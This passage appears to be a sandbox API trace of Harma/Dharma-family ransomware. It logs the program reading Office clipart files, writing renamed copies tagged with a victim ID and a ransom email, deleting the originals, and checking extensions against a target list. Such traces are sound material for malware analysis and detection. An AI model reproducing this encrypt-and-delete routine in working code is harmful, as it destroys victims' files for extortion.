GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=43892) returned 1 [0166.038] CloseHandle (hObject=0x364) returned 1 [0166.038] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 0x20 [0166.041] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.041] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.041] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.041] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.042] GetLastError () returned 0x0 [0166.042] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xab74, lpOverlapped=0x0) returned 1 [0166.085] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xab80, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xab80, lpOverlapped=0x0) returned 1 [0166.087] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.087] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.087] SetEndOfFile (hFile=0x3a4) returned 1 [0166.087] CloseHandle (hObject=0x3a4) returned 1 [0166.087] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.087] SetEndOfFile (hFile=0x364) returned 1 [0166.091] CloseHandle (hObject=0x364) returned 1 [0166.091] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg")) returned 1 [0166.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.092] lstrlenW (lpString=".doc") returned 4 [0166.092] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0166.092] lstrlenW (lpString=".docx") returned 5 [0166.092] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0166.092] lstrlenW (lpString=".pdf") returned 4 [0166.092] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0166.092] lstrlenW (lpString=".xls") returned 4 [0166.092] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0166.092] lstrlenW (lpString=".xlsx") returned 5 [0166.092] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0166.092] lstrlenW (lpString=".ppt") returned 4 [0166.092] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0166.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.092] lstrlenW (lpString=".zip") returned 4 [0166.092] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.092] lstrlenW (lpString=".rar") returned 4 [0166.092] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.093] lstrlenW (lpString=".bz2") returned 4 [0166.093] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.093] lstrlenW (lpString=".7z") returned 3 [0166.093] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString=".dbf") returned 4 [0166.093] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString=".1cd") returned 4 [0166.093] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString=".jpg") returned 4 [0166.093] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString=".doc") returned 4 [0166.093] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0166.093] lstrlenW (lpString=".docx") returned 5 [0166.093] lstrcmpiW (lpString1=".docx", lpString2="0.JPG") returned -1 [0166.093] lstrlenW (lpString=".pdf") returned 4 [0166.093] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0166.093] lstrlenW (lpString=".xls") returned 4 [0166.093] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0166.093] lstrlenW (lpString=".xlsx") returned 5 [0166.093] lstrcmpiW (lpString1=".xlsx", lpString2="0.JPG") returned -1 [0166.093] lstrlenW (lpString=".ppt") returned 4 [0166.093] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0166.093] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.093] lstrlenW (lpString=".zip") returned 4 [0166.093] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0166.093] lstrlenW (lpString=".rar") returned 4 [0166.094] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0166.094] lstrlenW (lpString=".bz2") returned 4 [0166.094] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0166.094] lstrlenW (lpString=".7z") returned 3 [0166.094] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0166.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.094] lstrlenW (lpString=".dbf") returned 4 [0166.094] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0166.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.094] lstrlenW (lpString=".1cd") returned 4 [0166.094] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0166.094] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG") returned 63 [0166.094] lstrlenW (lpString=".jpg") returned 4 [0166.094] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0166.094] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.094] lstrlenW (lpString="J0099200.GIF") returned 12 [0166.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.106] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=16543) returned 1 [0166.106] CloseHandle (hObject=0x364) returned 1 [0166.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 0x20 [0166.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.107] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.107] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.120] GetLastError () returned 0x0 [0166.120] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x409f, lpOverlapped=0x0) returned 1 [0166.129] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x40a0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x40a0, lpOverlapped=0x0) returned 1 [0166.130] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.130] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.131] SetEndOfFile (hFile=0x3a4) returned 1 [0166.131] CloseHandle (hObject=0x3a4) returned 1 [0166.131] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.131] SetEndOfFile (hFile=0x364) returned 1 [0166.135] CloseHandle (hObject=0x364) returned 1 [0166.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif")) returned 1 [0166.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.136] lstrlenW (lpString=".doc") returned 4 [0166.136] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.136] lstrlenW (lpString=".docx") returned 5 [0166.136] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0166.136] lstrlenW (lpString=".pdf") returned 4 [0166.136] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString=".xls") returned 4 [0166.137] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString=".xlsx") returned 5 [0166.137] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0166.137] lstrlenW (lpString=".ppt") returned 4 [0166.137] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.137] lstrlenW (lpString=".zip") returned 4 [0166.137] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString=".rar") returned 4 [0166.137] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString=".bz2") returned 4 [0166.137] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.137] lstrlenW (lpString=".7z") returned 3 [0166.137] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.137] lstrlenW (lpString=".dbf") returned 4 [0166.137] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.137] lstrlenW (lpString=".1cd") returned 4 [0166.137] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.137] lstrlenW (lpString=".jpg") returned 4 [0166.137] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.138] lstrlenW (lpString=".doc") returned 4 [0166.138] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.138] lstrlenW (lpString=".docx") returned 5 [0166.138] lstrcmpiW (lpString1=".docx", lpString2="0.GIF") returned -1 [0166.138] lstrlenW (lpString=".pdf") returned 4 [0166.138] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.138] lstrlenW (lpString=".xls") returned 4 [0166.138] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.138] lstrlenW (lpString=".xlsx") returned 5 [0166.138] lstrcmpiW (lpString1=".xlsx", lpString2="0.GIF") returned -1 [0166.138] lstrlenW (lpString=".ppt") returned 4 [0166.138] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.138] lstrlenW (lpString=".zip") returned 4 [0166.138] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.138] lstrlenW (lpString=".rar") returned 4 [0166.138] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.138] lstrlenW (lpString=".bz2") returned 4 [0166.138] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.138] lstrlenW (lpString=".7z") returned 3 [0166.138] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.138] lstrlenW (lpString=".dbf") returned 4 [0166.138] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.139] lstrlenW (lpString=".1cd") returned 4 [0166.139] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF") returned 63 [0166.139] lstrlenW (lpString=".jpg") returned 4 [0166.139] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.139] lstrcmpiW (lpString1=".GIF", lpString2=".harma") returned -1 [0166.139] lstrlenW (lpString="J0099203.GIF") returned 12 [0166.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.140] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=3904) returned 1 [0166.140] CloseHandle (hObject=0x364) returned 1 [0166.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20 [0166.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0166.140] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.141] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0166.141] GetLastError () returned 0x0 [0166.141] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0xf40, lpOverlapped=0x0) returned 1 [0166.171] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xf50, lpOverlapped=0x0) returned 1 [0166.172] ReadFile (in: hFile=0x364, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0166.172] WriteFile (in: hFile=0x3a4, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0166.173] SetEndOfFile (hFile=0x3a4) returned 1 [0166.173] CloseHandle (hObject=0x3a4) returned 1 [0166.173] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0166.173] SetEndOfFile (hFile=0x364) returned 1 [0166.175] CloseHandle (hObject=0x364) returned 1 [0166.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0166.176] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0166.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.177] lstrlenW (lpString=".doc") returned 4 [0166.177] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.177] lstrlenW (lpString=".docx") returned 5 [0166.177] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0166.177] lstrlenW (lpString=".pdf") returned 4 [0166.177] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.177] lstrlenW (lpString=".xls") returned 4 [0166.178] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.178] lstrlenW (lpString=".xlsx") returned 5 [0166.178] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0166.178] lstrlenW (lpString=".ppt") returned 4 [0166.178] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString=".zip") returned 4 [0166.178] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.178] lstrlenW (lpString=".rar") returned 4 [0166.178] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.178] lstrlenW (lpString=".bz2") returned 4 [0166.178] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.178] lstrlenW (lpString=".7z") returned 3 [0166.178] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString=".dbf") returned 4 [0166.178] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString=".1cd") returned 4 [0166.178] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString=".jpg") returned 4 [0166.178] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.178] lstrlenW (lpString=".doc") returned 4 [0166.178] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0166.178] lstrlenW (lpString=".docx") returned 5 [0166.178] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0166.179] lstrlenW (lpString=".pdf") returned 4 [0166.179] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0166.179] lstrlenW (lpString=".xls") returned 4 [0166.179] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0166.179] lstrlenW (lpString=".xlsx") returned 5 [0166.179] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0166.179] lstrlenW (lpString=".ppt") returned 4 [0166.179] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0166.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.179] lstrlenW (lpString=".zip") returned 4 [0166.179] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0166.179] lstrlenW (lpString=".rar") returned 4 [0166.179] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0166.179] lstrlenW (lpString=".bz2") returned 4 [0166.179] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0166.179] lstrlenW (lpString=".7z") returned 3 [0166.179] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0166.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.179] lstrlenW (lpString=".dbf") returned 4 [0166.179] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0166.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.179] lstrlenW (lpString=".1cd") returned 4 [0166.179] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0166.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63 [0166.179] lstrlenW (lpString=".jpg") returned 4 [0166.179] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0166.180] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0166.180] lstrlenW (lpString="J0099205.WMF") returned 12 [0166.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0166.334] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=17854) returned 1 [0166.334] CloseHandle (hObject=0x39c) returned 1 [0166.334] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf")) returned 0x20 [0166.335] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0166.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 